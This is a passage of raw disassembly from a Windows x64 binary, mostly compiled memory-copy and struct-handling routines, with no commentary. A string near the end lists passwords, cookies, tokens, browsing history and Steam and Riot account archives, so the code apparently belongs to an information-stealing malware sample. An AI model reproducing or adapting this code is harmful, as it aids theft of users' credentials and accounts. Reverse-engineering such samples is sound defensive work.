movaps xmm1, xmmword [rsp + 0xcc0]
movups xmmword [r14 + 0x10], xmm1
movdqu xmmword [r14], xmm0
lea rdi, [rsp + 0x4e0]
mov qword [rsp + 0x20], rdi
lea rcx, [rsp + 0x180]
lea rdx, [rsp + 0x7c0]
mov r8, rax
call fcn.140003b8b
cmp dword [rsp + 0x180], 4
jne 0x140018336
and dword [rsp + 0x4e0], 0
movups xmmword [r14], xmm6
mov dword [rsp + 0x4f8], 7
and word [r14 + 0x1c], 0
mov rsi, r14
and qword [r14 + 0x14], 0
mov byte [rsp + 0x500], 1
mov rcx, rdi
mov rdx, rbx
mov r8, r15
call fcn.1401539c0
mov r15, rax
mov rdi, rdx
mov rcx, rbp
mov rdx, rbx
call fcn.140173443
test r15b, 1
jne 0x140018361
mov qword [rsp + 0x240], rdi
lea rcx, [rsp + 0x240]
lea rdx, [rsp + 0x290]
call fcn.140153430
test al, 1
mov rbx, qword [rsp + 0x48]
mov r15, qword [rsp + 0x50]
jne 0x14001831f
mov rcx, rdi
call fcn.140173dfc
mov rdi, qword [rsp + 0x298]
mov r8, qword [rsp + 0x2a0]
lea rcx, [rsp + 0x7c0]
mov rdx, rdi
call fcn.14000232b
test rax, rax
jne 0x140018378
add r15, 0x20
mov rcx, qword [rsp + 0x290]
mov rdx, rdi
call fcn.140173443
add r12, 0x20
add rbx, 0xffffffffffffffe0
mov r14, rsi
jmp 0x140015472
mov r12, r13
sub r13, r12
shr r13, 5
add r12, 8
mov rsi, qword [rsp + 0x58]
sub r13, 1
jb 0x14001564b
mov rcx, qword [r12 - 8]
mov rdx, qword [r12]
call fcn.140173443
add r12, 0x20
jmp 0x140015631
mov r8d, 8
mov r9d, 0x20
mov rcx, qword [rsp + 0x78]
mov rdx, rsi
call fcn.140173432
lea rsi, [rsp + 0x180]
lea rdx, [rsp + 0x7c0]
mov rcx, rsi
call fcn.14000464f
cmp dword [rsi], 4
jne 0x1400186ac
lea rcx, [rsp + 0x7c0]
call fcn.140005044
mov rsi, qword [rsp + 0xbc8]
mov rdi, qword [rsp + 0xbd0]
lea rbx, [rsp + 0x7c0]
mov rcx, rbx
mov rdx, rsi
mov r8, rdi
call fcn.140001f96
mov r14, qword [rbx]
cmp r14, 2
sete byte [rsp + 0x148]
mov rcx, rbx
call fcn.1400065eb
cmp r14d, 2
je 0x14001669e
mov r15, qword [rsp + 0xbc0]
mov rcx, rbx
call fcn.140173525
lea r14, [rsp + 0x7c0]
mov ebp, dword [r14 + 8]
mov r12d, dword [r14 + 0xc]
mov eax, dword [r14 + 0x10]
mov dword [rsp + 0x70], eax
mov rax, qword [r14 + 0x14]
mov qword [rsp + 0x240], rax
mov eax, dword [r14 + 0x1c]
mov dword [rsp + 0x248], eax
movzx eax, word [r14 + 0x22]
mov word [rsp + 0xa8], ax
mov rax, qword [r14 + 0x24]
mov qword [rsp + 0x88], rax
mov al, byte [r14 + 0x2c]
mov byte [rsp + 0x60], al
movzx eax, word [r14 + 0x2d]
mov word [rsp + 0xb0], ax
mov al, byte [r14 + 0x2f]
mov byte [rsp + 0xb2], al
lea r13, [rsp + 0x4e0]
lea rdx, [rsp + 0x210]
mov rcx, r13
call fcn.1400045bf
mov rcx, r14
mov rdx, rsi
mov r8, rdi
call fcn.140156910
and qword [r14 + 0x20], 0
mov qword [r14 + 0x30], 0xa
and qword [r14 + 0x38], 0
or qword [r14 + 0x40], 0xffffffffffffffff
mov dword [r14 + 0x48], 0x100
mov rcx, r15
mov rdx, rsi
call fcn.140173443
movups xmm0, xmmword [r14 + 0x40]
lea rcx, [rsp + 0xd10]
movups xmmword [rcx + 0x38], xmm0
movdqu xmm0, xmmword [r14]
movups xmm1, xmmword [r14 + 0x10]
movups xmm2, xmmword [r14 + 0x20]
movups xmm3, xmmword [r14 + 0x30]
movups xmmword [rcx + 0x28], xmm3
movups xmmword [rcx + 0x18], xmm2
movdqu xmmword [rcx - 8], xmm0
movups xmmword [rcx + 8], xmm1
and qword [rcx - 0x50], 0
mov eax, 8
mov qword [rcx - 0x48], rax
xorps xmm6, xmm6
movups xmmword [rcx - 0x40], xmm6
mov qword [rcx - 0x30], rax
movups xmmword [rcx - 0x28], xmm6
movups xmmword [rcx + 0x48], xmm6
mov qword [rcx - 0x18], rax
and qword [rcx - 0x10], 0
and qword [rcx - 0x60], 0
mov dword [rsp + 0x338], r12d
mov ecx, r12d
shl ecx, 0x10
or ecx, 0x40000000
mov dword [rsp + 0x68], ebp
test bpl, 1
mov edx, 0x41ed0000
cmovne edx, ecx
mov dword [rsp + 0x98], edx
lea r12, [r14 + rax]
lea rcx, [r13 + rax]
mov qword [rsp + 0x90], rcx
lea rcx, [rsp + 0xf48]
lea rax, [rcx + rax]
mov qword [rsp + 0x78], rax
lea r13, [rsp + 0xcb0]
movabs rdi, 0x8000000000000000
mov r15, qword [rsp + 0xe8]
mov qword [rsp + 0x80], r12
mov rsi, qword [rsp + 0xd08]
mov qword [rsp + 0xd08], rdi
cmp rsi, rdi
je 0x140015a6e
mov qword [rsp + 0xf48], rsi
lea rcx, [rsp + 0xd10]
mov rax, qword [rcx + 0x10]
mov rdx, qword [rsp + 0x78]
mov qword [rdx + 0x10], rax
movdqu xmm0, xmmword [rcx]
movdqu xmmword [rdx], xmm0
cmp byte [rsp + 0xd53], 0
je 0x1400159f6
and dword [rsp + 0x7c0], 0
movups xmmword [r12], xmm6
mov dword [rsp + 0x7d8], 7
and word [r14 + 0x24], 0
and qword [r14 + 0x1c], 0
mov byte [rsp + 0x7e0], 1
mov dword [rsp + 0x7d0], 0x2000000
mov rdi, qword [rsp + 0xf50]
mov r8, qword [rsp + 0xf58]
mov rcx, rbx
mov rdx, rdi
call fcn.1401539c0
mov r15, rdx
test rax, rax
jne 0x14001594b
mov rcx, rbx
mov rdx, r15
call fcn.1401706e5
cmp dword [rsp + 0x7c0], 1
jne 0x1400159c9
mov r15, qword [rsp + 0x7c8]
mov rsi, qword [rsp + 0xf48]
mov rdi, qword [rsp + 0xf50]
mov rcx, r12
lea rdx, [rsp + 0xf48]
call fcn.140170544
and qword [rsp + 0x800], 0
mov qword [rsp + 0x7e8], r15
mov r15, qword [rsp + 0x7c8]
movups xmm0, xmmword [r14 + 0x10]
movups xmm1, xmmword [r14 + 0x20]
movups xmm2, xmmword [r14 + 0x30]
movaps xmmword [rsp + 0x340], xmm0
movaps xmmword [rsp + 0x350], xmm1
movaps xmmword [rsp + 0x360], xmm2
mov rax, qword [r14 + 0x40]
mov qword [rsp + 0x370], rax
mov rcx, rsi
mov rdx, rdi
call fcn.14005068f
mov eax, 2
movabs rdi, 0x8000000000000000
mov rcx, rdi
jmp 0x140015d08
mov eax, dword [rsp + 0x7e0]
mov qword [rsp + 0xcb0], 1
mov qword [rsp + 0xcb8], rax
movabs rdi, 0x8000000000000000
mov r15, qword [rsp + 0xe8]
mov rcx, rbx
xor edx, edx
lea r8, [rsp + 0xf48]
xor r9d, r9d
call fcn.14017196b
cmp dword [rsp + 0x7c0], 2
jne 0x140015a55
mov rcx, qword [rsp + 0x7c8]
mov r15, qword [rsp + 0x7d0]
movups xmm0, xmmword [r14 + 0x18]
movups xmm1, xmmword [r14 + 0x28]
movups xmm2, xmmword [r14 + 0x38]
movaps xmmword [rsp + 0x340], xmm0
movaps xmmword [rsp + 0x350], xmm1
movaps xmmword [rsp + 0x360], xmm2
mov rax, qword [r14 + 0x48]
jmp 0x140015cfb
mov r8d, 0x90
lea rsi, [rsp + 0x430]
mov rcx, rsi
mov rdx, rbx
jmp 0x140015bd7
mov rax, qword [rsp + 0xcd0]
test rax, rax
je 0x140015c05
mov qword [rsp + 0xd60], rax
mov rcx, rbx
mov rdx, r13
call fcn.140172472
mov rax, qword [rsp + 0x7c0]
cmp rax, 2
jne 0x140015c39
mov rcx, rbx
call fcn.14017254a
mov rax, qword [rsp + 0xd60]
cmp rax, qword [rsp + 0xd48]
ja 0x140015ba7
mov rax, qword [rsp + 0xcd0]
sub rax, 1
jb 0x1400180d2
imul rdx, rax, 0x270
add rdx, qword [rsp + 0xcc8]
mov eax, dword [rdx + 0x10]
cmp eax, 2
je 0x140015b25
cmp eax, 3
jne 0x140015b77
mov rax, qword [rdx + 0x20]
cmp rax, qword [rdx + 0x30]
je 0x140015ba7
lea rcx, [rax + 0x90]
mov qword [rdx + 0x20], rcx
mov r8d, 0x90
lea rcx, [rsp + 0x290]
mov rdx, rax
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
jmp 0x140015b99
mov rcx, qword [rdx + 0x18]
mov qword [rdx + 0x18], r15
mov eax, 3
cmp rcx, r15
je 0x140015b6d
mov qword [rsp + 0x298], rcx
movdqu xmm0, xmmword [rdx + 0x20]
movups xmm1, xmmword [rdx + 0x30]
movups xmm2, xmmword [rdx + 0x40]
movups xmm3, xmmword [rdx + 0x50]
lea rax, [rsp + 0x2a0]
movups xmmword [rax + 0x30], xmm3
movups xmmword [rax + 0x20], xmm2
movups xmmword [rax + 0x10], xmm1
movdqu xmmword [rax], xmm0
mov eax, 2
mov qword [rsp + 0x290], rax
jmp 0x140015ba1
mov rsi, qword [rdx + 0x268]
mov rcx, rbx
call fcn.1401539e0
lea rcx, [rsp + 0x290]
mov rdx, rbx
mov r8, rsi
call fcn.140170170
mov rax, qword [rsp + 0x290]
cmp rax, 3
jne 0x140015bb4
mov rcx, r13
call fcn.140172560
jmp 0x140015a6e
cmp rax, 2
je 0x140015cbb
mov r8d, 0x90
lea rsi, [rsp + 0x180]
mov rcx, rsi
lea rdx, [rsp + 0x290]
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
mov rcx, rbx
mov rdx, r13
mov r8, rsi
call fcn.140171c9e
mov rax, qword [rsp + 0x7c0]
cmp rax, 3
jne 0x140015c39
mov rcx, rbx
call fcn.14017039d
jmp 0x140015a6e
cmp byte [rsp + 0xd52], 0
je 0x1400164ff
and qword [rsp + 0xd60], 0
mov rcx, rbx
mov rdx, r13
call fcn.140172472
mov rax, qword [rsp + 0x7c0]
cmp rax, 2
je 0x1400164f2
mov rcx, qword [rsp + 0x7c8]
mov r15, qword [rsp + 0x7d0]
movups xmm0, xmmword [r14 + 0x18]
movups xmm1, xmmword [r14 + 0x28]
movups xmm2, xmmword [r14 + 0x38]
movaps xmmword [rsp + 0x340], xmm0
movaps xmmword [rsp + 0x350], xmm1
movaps xmmword [rsp + 0x360], xmm2
mov rdx, qword [r14 + 0x48]
mov qword [rsp + 0x370], rdx
mov rdx, qword [rsp + 0x810]
mov rsi, qword [rsp + 0x818]
mov rbp, qword [rsp + 0x820]
mov r8, qword [rsp + 0x828]
movups xmm0, xmmword [r14 + 0x70]
movups xmm1, xmmword [r14 + 0x80]
movaps xmmword [rsp + 0xc70], xmm0
movaps xmmword [rsp + 0xc80], xmm1
jmp 0x140015d1a
mov rcx, qword [rsp + 0x298]
mov r15, qword [rsp + 0x2a0]
lea rax, [rsp + 0x297]
movups xmm0, xmmword [rax + 0x11]
movups xmm1, xmmword [rax + 0x21]
movups xmm2, xmmword [rax + 0x31]
movaps xmmword [rsp + 0x340], xmm0
movaps xmmword [rsp + 0x350], xmm1
movaps xmmword [rsp + 0x360], xmm2
mov rax, qword [rax + 0x41]
mov qword [rsp + 0x370], rax
mov eax, 2
mov rdx, qword [rsp + 0x58]
mov rsi, rbp
mov rbp, qword [rsp + 0x48]
mov r8, qword [rsp + 0x50]
mov qword [rsp + 0x7c0], rax
mov qword [rsp + 0x7c8], rcx
mov qword [rsp + 0x7d0], r15
mov rcx, qword [rsp + 0x370]
mov qword [r14 + 0x48], rcx
movaps xmm0, xmmword [rsp + 0x340]
movaps xmm1, xmmword [rsp + 0x350]
movaps xmm2, xmmword [rsp + 0x360]
movups xmmword [r14 + 0x38], xmm2
movups xmmword [r14 + 0x28], xmm1
movups xmmword [r14 + 0x18], xmm0
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x810], rdx
mov qword [rsp + 0x818], rsi
mov qword [rsp + 0x820], rbp
mov qword [rsp + 0x828], r8
movdqa xmm0, xmmword [rsp + 0xc70]
movaps xmm1, xmmword [rsp + 0xc80]
movups xmmword [r14 + 0x80], xmm1
movdqu xmmword [r14 + 0x70], xmm0
cmp rax, 2
mov qword [rsp + 0x48], rbp
mov qword [rsp + 0x50], r8
jne 0x140015dd1
mov rbp, rsi
mov rcx, r12
call fcn.1400058d9
mov r15, qword [rsp + 0xe8]
jmp 0x140015875
mov r15, r8
mov rcx, rbp
mov rdx, r8
call fcn.140155120
test al, al
je 0x140015e70
mov qword [rsp + 0xa0], rsi
mov rcx, rbp
mov rdx, r15
call fcn.140002c33
test rax, rax
je 0x1400182c5
mov r15, rax
mov rsi, rdx
mov rcx, rdx
call fcn.140006f8c
mov r14, rax
mov rdi, rdx
mov rcx, rdx
mov rdx, r15
mov r8, rsi
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
test rsi, rsi
je 0x140016103
movsx eax, byte [rdi + rsi - 1]
test eax, eax
jns 0x1400160f9
movzx ecx, byte [rdi + rsi - 2]
cmp cl, 0xc0
jge 0x1400160e1
movzx edx, byte [rdi + rsi - 3]
cmp dl, 0xc0
jge 0x1400160e6
movzx r8d, byte [rdi + rsi - 4]
and r8d, 7
shl r8d, 6
and edx, 0x3f
or edx, r8d
jmp 0x1400160e9
mov rcx, rbx
mov rdx, rbp
mov r8, r15
call fcn.1401551f0
cmp dword [rsp + 0x7c0], 2
mov r15, qword [rsp + 0xe8]
jne 0x140015f01
mov rax, qword [rsp + 0x7c8]
mov ecx, eax
and ecx, 3
cmp ecx, 1
jne 0x1400163fe
lea rdi, [rax - 1]
mov r15, qword [rax - 1]
mov r12, qword [rax + 7]
mov rax, qword [r12]
test rax, rax
je 0x140015ec0
mov rcx, r15
call rax
cmp qword [r12 + 8], 0
je 0x140015ed5
mov rdx, qword [r12 + 0x10]
mov rcx, r15
call fcn.140019a50
mov edx, 8
mov rcx, rdi
call fcn.140019a50
movabs rdi, 0x8000000000000000
mov r15, qword [rsp + 0xe8]
mov r12, qword [rsp + 0x80]
jmp 0x1400163fe
mov eax, dword [rsp + 0x80c]
bt eax, 0xa
setae cl
bt dword [rsp + 0x810], 0x1d
setae dl
or dl, cl
test al, 0x10
sete al
test dl, al
je 0x1400163fe
and qword [rsp + 0x290], 0
mov qword [rsp + 0x298], 1
and qword [rsp + 0x2a0], 0
mov rcx, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x50]
call fcn.140002c33
test rax, rax
je 0x140018480
mov r9, rdx
mov rbp, rsi
movabs rcx, 0xa00000001
mov qword [rsp + 0x7c0], rcx
mov ecx, dword [rsp + 0x68]
mov dword [rsp + 0x7c8], ecx
mov ecx, dword [rsp + 0x338]
mov dword [rsp + 0x7cc], ecx
mov ecx, dword [rsp + 0x70]
mov dword [rsp + 0x7d0], ecx
mov ecx, dword [rsp + 0x248]
mov dword [r14 + 0x1c], ecx
mov rcx, qword [rsp + 0x240]
mov qword [r14 + 0x14], rcx
mov word [rsp + 0x7e0], 4
movzx ecx, word [rsp + 0xa8]
mov word [rsp + 0x7e2], cx
mov rcx, qword [rsp + 0x88]
mov qword [rsp + 0x7e4], rcx
mov cl, byte [rsp + 0x60]
mov byte [rsp + 0x7ec], cl
mov cl, byte [rsp + 0xb2]
mov byte [r14 + 0x2f], cl
movzx ecx, word [rsp + 0xb0]
mov word [r14 + 0x2d], cx
mov qword [rsp + 0x20], rbx
lea rcx, [rsp + 0x180]
lea rdx, [rsp + 0x4e0]
mov r8, rax
call fcn.140003b8b
cmp dword [rsp + 0x180], 4
jne 0x140018410
and dword [rsp + 0x7c0], 0
movups xmmword [r12], xmm6
mov dword [rsp + 0x7d8], 7
and word [r14 + 0x24], 0
and qword [r14 + 0x1c], 0
mov byte [rsp + 0x7e0], 1
mov rcx, rbx
mov rdx, qword [rsp + 0x48]
mov r8, qword [rsp + 0x50]
call fcn.1401539c0
mov rsi, rdx
test al, 1
jne 0x140018469
mov qword [rsp + 0x430], rsi
lea rcx, [rsp + 0x430]
lea rdx, [rsp + 0x290]
call fcn.140153430
test al, 1
jne 0x140018452
mov rcx, rsi
call fcn.140173dfc
mov rsi, qword [rsp + 0x298]
mov r8, qword [rsp + 0x2a0]
lea rcx, [rsp + 0x4e0]
mov rdx, rsi
call fcn.14000232b
test rax, rax
jne 0x14001843b
mov rcx, qword [rsp + 0x290]
mov rdx, rsi
call fcn.140173443
mov rsi, rbp
jmp 0x1400163fe
and ecx, 0x1f
jmp 0x1400160f1
and edx, 0xf
shl edx, 6
and ecx, 0x3f
or ecx, edx
shl ecx, 6
and eax, 0x3f
or eax, ecx
cmp eax, 0x2f
je 0x140016148
cmp eax, 0x5c
je 0x140016148
mov qword [rsp + 0x7c0], r14
mov qword [rsp + 0x7c8], rdi
mov qword [rsp + 0x7d0], rsi
mov r8d, 1
mov rcx, rbx
lea rdx, [0x1403161f0]
call fcn.14010cf93
mov r14, qword [rsp + 0x7c0]
mov rdi, qword [rsp + 0x7c8]
mov rsi, qword [rsp + 0x7d0]
mov rcx, rbx
lea r12, [rsp + 0x4e0]
mov rdx, r12
call fcn.140003f1a
mov rbp, qword [rsp + 0x7c0]
cmp rbp, 4
jne 0x1400182f3
mov rcx, r12
call fcn.140002f5c
mov r15, rax
mov rax, qword [rax + 8]
mov qword [rsp + 0x10c0], r14
mov qword [rsp + 0x10c8], rdi
mov qword [rsp + 0x10d0], rsi
mov word [rsp + 0x1169], 0x2e03
mov esi, dword [rsp + 0x70]
mov byte [rsp + 0x1166], sil
mov byte [rsp + 0x1167], 0
and word [rsp + 0x1158], 0
movzx ecx, word [rsp + 0xa8]
mov word [rsp + 0x115a], cx
movabs rcx, 0xa00000001
mov qword [rsp + 0x1120], rcx
mov rcx, qword [rsp + 0x88]
mov qword [rsp + 0x1128], rcx
and dword [rsp + 0x115c], 0
and qword [rsp + 0x10d8], 0
lea rcx, [rsp + 0x1130]
movups xmmword [rcx], xmm6
mov edx, 1
mov qword [rsp + 0x10e0], rdx
movups xmmword [rcx - 0x48], xmm6
mov qword [rsp + 0x10f8], rdx
movups xmmword [rcx - 0x30], xmm6
mov qword [rsp + 0x1110], rdx
and qword [rsp + 0x1118], 0
mov qword [rsp + 0x1140], rax
movups xmmword [rcx + 0x18], xmm6
mov eax, dword [rsp + 0x98]
mov dword [rsp + 0x1160], eax
mov al, byte [rsp + 0x60]
mov byte [rsp + 0x1168], al
mov byte [rsp + 0x1165], 2
mov rcx, rbx
mov rdx, r15
lea rdi, [rsp + 0x10c0]
mov r8, rdi
call fcn.140002d25
mov rbp, qword [rsp + 0x7c0]
cmp rbp, 4
jne 0x1400182d1
mov rax, qword [r15 + 8]
mov qword [rsp + 0x590], rax
mov qword [rsp + 0x1150], rax
and qword [rsp + 0x598], 0
mov rcx, rbx
call fcn.140046967
movdqu xmm0, xmmword [rsp + 0x7c0]
movdqu xmmword [r12 + 0xa0], xmm0
lea rcx, [rsp + 0x550]
mov rdx, rdi
call fcn.140006d0b
test sil, 1
movabs rdi, 0x8000000000000000
mov r15, qword [rsp + 0xe8]
mov rbp, r12
mov r12, qword [rsp + 0x80]
lea r14, [rsp + 0x7c0]
je 0x1400163ee
mov ecx, 0xe
mov rdi, rbx
mov rsi, rbp
rep movsq qword [rdi], qword [rsi]
and qword [rsp + 0x4e0], 0
mov rcx, rbx
call fcn.140002f0a
mov qword [rsp + 0xf80], rax
mov qword [rsp + 0xf88], rdx
and qword [rsp + 0xf68], 0
mov qword [rsp + 0xf70], 1
and qword [rsp + 0xf78], 0
mov eax, dword [rsp + 0x248]
lea rcx, [rsp + 0xf90]
mov dword [rcx + 8], eax
mov rax, qword [rsp + 0x240]
and dword [rsp + 0x7c8], 0
mov qword [rcx], rax
and qword [rsp + 0x7c0], 0
lea rcx, [rsp + 0xf68]
mov rdx, rbx
call fcn.14000289b
test rax, rax
jne 0x1400183a0
mov rcx, rbp
call fcn.140004fe1
mov qword [rsp + 0x4e0], 1
mov rax, qword [rsp + 0xf98]
mov rcx, qword [rsp + 0x90]
mov qword [rcx + 0x30], rax
movdqu xmm0, xmmword [rsp + 0xf68]
movups xmm1, xmmword [rsp + 0xf78]
movups xmm2, xmmword [rsp + 0xf88]
movups xmmword [rcx + 0x20], xmm2
movups xmmword [rcx + 0x10], xmm1
movdqu xmmword [rcx], xmm0
movabs rdi, 0x8000000000000000
mov byte [rsp + 0x5a0], 0
mov rsi, qword [rsp + 0xa0]
mov rbp, rsi
mov rcx, rsi
mov rdx, qword [rsp + 0x48]
call fcn.140173443
jmp 0x140015875
movdqu xmm0, xmmword [rsp + 0x188]
movups xmm1, xmmword [rsp + 0x198]
movaps xmmword [rsp + 0x440], xmm1
movdqa xmmword [rsp + 0x430], xmm0
lea rdx, [0x140240ffc]
lea rsi, [rsp + 0xcb0]
mov r8d, 0x10
mov rcx, rsi
call fcn.140052b1c
cmp byte [rsi + 0x20], 2
jne 0x140017d27
mov cl, 5
call fcn.140121994
mov rsi, rax
lea rcx, [rsp + 0xfa0]
call fcn.1400064a5
cmp qword [rsp + 0x430], 0
je 0x14001648b
lea rcx, [rsp + 0x430]
call fcn.1400dac53
lea rcx, [rsp + 0x8d0]
call fcn.140006504
lea rdi, [rsp + 0x8b0]
mov rcx, rdi
call fcn.1400dacdb
mov rcx, qword [rdi - 0x68]
mov rdx, qword [rdi - 0x60]
call fcn.140173443
lea rdi, [rsp + 0x7e8]
mov rcx, rdi
call fcn.140005bfe
cmp qword [rdi - 0x28], 0
je 0x1400164d9
lea rcx, [rsp + 0x7c8]
call fcn.140005e2a
mov qword [rsp + 0x7c0], 2
mov qword [rsp + 0x7c8], rsi
jmp 0x140017d91
lea rcx, [rsp + 0x7c0]
call fcn.14017254a
mov rsi, qword [rsp + 0xd28]
test rsi, rsi
je 0x140016536
mov rdi, qword [rsp + 0xd30]
mov rax, qword [rdi]
test rax, rax
je 0x140016521
mov rcx, rsi
call rax
mov r8, qword [rdi + 8]
test r8, r8
je 0x140016536
mov rdx, qword [rdi + 0x10]
mov rcx, rsi
call fcn.1400072fc
mov rcx, qword [rsp + 0xd08]
mov rdx, qword [rsp + 0xd10]
call fcn.14011f2a3
mov rsi, qword [rsp + 0xcc8]
mov rdi, qword [rsp + 0xcd0]
add rsi, 0x18
sub rdi, 1
jb 0x14001659d
mov eax, dword [rsi - 8]
cmp eax, 2
je 0x14001657c
cmp eax, 3
jne 0x14001658b
mov rcx, rsi
call fcn.140170497
jmp 0x140016594
cmp qword [rsi], r15
je 0x140016594
mov rcx, rsi
call fcn.1400058d9
jmp 0x140016594
lea rcx, [rsi - 0x18]
call fcn.1400057f1
add rsi, 0x270
jmp 0x14001655f
mov rcx, qword [rsp + 0xcc0]
mov rdx, qword [rsp + 0xcc8]
mov r8d, 8
mov r9d, 0x270
call fcn.140173432
mov rsi, qword [rsp + 0xce0]
mov rdi, qword [rsp + 0xce8]
add rsi, 0x18
sub rdi, 1
jb 0x140016607
mov rcx, qword [rsi + 0x10]
mov rdx, qword [rsi + 0x18]
call fcn.140173443
cmp dword [rsi], 2
je 0x1400165f8
mov rcx, rsi
call fcn.14017303a
cmp qword [rsi], 0
je 0x140016601
mov rcx, qword [rsi + 8]
call fcn.140173dfc
add rsi, 0x48
jmp 0x1400165d2
mov rcx, qword [rsp + 0xcd8]
mov rdx, qword [rsp + 0xce0]
mov r8d, 8
mov r9d, 0x48
call fcn.140173432
mov rsi, qword [rsp + 0xcf8]
mov rdi, qword [rsp + 0xd00]
add rsi, 0x60
sub rdi, 1
jb 0x140016657
mov rcx, qword [rsi - 8]
mov rdx, qword [rsi]
call fcn.140173443
add rsi, 0x90
jmp 0x14001663c
lea rsi, [rsp + 0xcb0]
mov rcx, qword [rsi + 0x40]
mov rdx, qword [rsi + 0x48]
mov r8d, 8
mov r9d, 0x90
call fcn.140173432
lea rdx, [rsp + 0x4e0]
mov rcx, rsi
call fcn.14000464f
cmp dword [rsi], 4
jne 0x1400186da
lea rcx, [rsp + 0x4e0]
call fcn.140005044
call fcn.140104f2b
mov qword [rsp + 0x240], rax
call fcn.140104f2b
mov qword [rsp + 0x430], rax
call fcn.140104f2b
lea rbp, [rsp + 0x290]
mov qword [rbp], rax
call fcn.140104f2b
lea rcx, [rsp + 0x180]
mov qword [rcx], rax
lea r14, [rsp + 0x4e0]
lea rax, [rsp + 0x240]
mov qword [r14], rax
lea rax, [fcn.140042f60]
mov qword [r14 + 8], rax
lea rdx, [rsp + 0x430]
mov qword [r14 + 0x10], rdx
mov qword [r14 + 0x18], rax
mov qword [r14 + 0x20], rbp
mov qword [r14 + 0x28], rax
mov r15d, 2
lea rdi, [rsp + 0x7c0]
mov qword [rdi], r15
and qword [rdi + 0x10], 0
mov edx, 0x10
mov qword [rdi + 0x18], rdx
and qword [rdi + 0x20], 0
movabs r8, 0x800000020
mov qword [rdi + 0x28], r8
mov r9b, 3
mov byte [rdi + 0x30], r9b
mov qword [rdi + 0x38], r15
and qword [rdi + 0x48], 0
mov qword [r14 + 0x30], rcx
mov qword [r14 + 0x38], rax
mov qword [rdi + 0x50], rdx
mov r12d, 1
mov qword [rdi + 0x58], r12
mov qword [rdi + 0x60], r8
mov byte [rdi + 0x68], r9b
mov qword [rdi + 0x70], r15
and qword [rdi + 0x80], 0
mov qword [rdi + 0x88], rdx
mov qword [rdi + 0x90], r15
mov qword [rdi + 0x98], r8
mov byte [rdi + 0xa0], r9b
mov qword [rdi + 0xa8], r15
and qword [rdi + 0xb8], 0
mov qword [rdi + 0xc0], rdx
mov qword [rdi + 0xc8], 3
mov qword [rdi + 0xd0], r8
mov byte [rdi + 0xd8], r9b
lea rax, [0x14030bb48]
lea rdx, [rsp + 0xcb0]
mov qword [rdx], rax
mov eax, 4
mov qword [rdx + 8], rax
mov qword [rdx + 0x20], rbx
mov qword [rdx + 0x28], rax
mov qword [rdx + 0x10], r14
mov qword [rdx + 0x18], rax
lea rsi, [rsp + 0x1290]
mov rcx, rsi
call fcn.140104ec0
and qword [rsi + 0x18], 0
mov eax, 8
mov qword [rsi + 0x20], rax
pxor xmm0, xmm0
movdqu xmmword [rsi + 0x28], xmm0
mov qword [rsi + 0x38], rax
and qword [rsi + 0x40], 0
mov byte [rsi + 0x48], 0
lea rax, [rsp + 0x390]
lea rcx, [0x140241028]
mov qword [rdi], rcx
mov qword [rdi + 8], r15
and qword [rdi + 0x20], 0
mov qword [r14], rax
lea rax, [0x1400072e9]
mov qword [r14 + 8], rax
mov qword [rdi + 0x10], r14
mov qword [rdi + 0x18], r12
lea rsi, [rsp + 0xf0]
mov rcx, rsi
mov rdx, rdi
call fcn.140006c37
mov r8, qword [rsi]
mov rcx, qword [rsi + 8]
mov rax, qword [rsi + 0x10]
movabs rdx, 0x8000000000000000
cmp r8, rdx
jne 0x1400168b9
mov qword [rsp + 0x4e0], 1
lea rdx, [0x14023ebb8]
mov qword [rsp + 0x4e8], rdx
mov qword [rsp + 0x4f0], rcx
mov qword [rsp + 0x4f8], rax
and qword [rsp + 0x500], 0
jmp 0x1400168d9
lea rdx, [rsp + 0xcb0]
mov qword [rdx], r8
mov qword [rdx + 8], rcx
mov qword [rdx + 0x10], rax
lea rcx, [rsp + 0x4e0]
call fcn.140001450
lea rsi, [rsp + 0x4e0]
mov rcx, rdi
mov rdx, rsi
call fcn.140121c92
mov qword [rsp + 0x20], rdi
lea r8, str.payload_jsonpasswords.txtpasswdsterms.txthtermsdownloads.txthdownloadvisited.txtvisitedcookies.txtcookiestkns.txttknssteam.zipsteamriot.zipriot
lea rdi, [rsp + 0xcb0]
lea rdx, [rsp + 0x1290]
mov r9d, 0xc
mov rcx, rdi
call fcn.140008f1c
lea rbx, [rsp + 0x7c0]
lea rdx, [rsp + 0x418]
mov rcx, rbx
call fcn.140008fbc
lea r8, [0x140241094]
mov r9d, 0xd
mov rcx, rsi
mov rdx, rbx
call fcn.14000902c
mov qword [rsp + 0x20], rsi
lea r8, [0x1402410a1]
lea rbx, [rsp + 0x180]
mov r9d, 7
mov rcx, rbx
mov rdx, rdi
call fcn.140008f1c
lea rdi, [rsp + 0x7c0]
lea rdx, [rsp + 0x3c0]
mov rcx, rdi
call fcn.140008fbc
lea r8, [0x1402410a8]
mov r9d, 9
mov rcx, rsi
mov rdx, rdi
call fcn.14000902c
mov qword [rsp + 0x20], rsi
lea r8, [0x1402410b1]
lea r14, [rsp + 0xcb0]
mov r9d, 6
mov rcx, r14
mov rdx, rbx
call fcn.140008f1c
lea rdi, [rsp + 0x7c0]
lea rdx, [rsp + 0x3e0]
mov rcx, rdi
call fcn.140008fbc
lea r8, [0x1402410b7]
mov r9d, 0xd
mov rcx, rsi
mov rdx, rdi
call fcn.14000902c
mov qword [rsp + 0x20], rsi
lea r8, [0x1402410c4]
lea rdi, [rsp + 0x180]
mov r9d, 9
mov rcx, rdi
mov rdx, r14
call fcn.140008f1c
lea rbx, [rsp + 0x7c0]
lea rdx, [rsp + 0x3a8]
mov rcx, rbx
call fcn.140008fbc
lea r8, [0x1402410cd]
mov r9d, 0xb
mov rcx, rsi
mov rdx, rbx
call fcn.14000902c
mov qword [rsp + 0x20], rsi
lea r8, [0x1402410d8]
lea r14, [rsp + 0xcb0]
mov r9d, 7
mov rcx, r14
mov rdx, rdi
call fcn.140008f1c
lea rdi, [rsp + 0x7c0]
lea rdx, [rsp + 0x270]
mov rcx, rdi
call fcn.140008fbc
lea r8, [0x1402410df]
mov r9d, 0xb
mov rcx, rsi
mov rdx, rdi
call fcn.14000902c
mov qword [rsp + 0x20], rsi
lea r8, [0x1402410ea]
lea rbx, [rsp + 0x180]
mov r9d, 7
mov rcx, rbx
mov rdx, r14
call fcn.140008f1c
lea rdi, [rsp + 0x7c0]
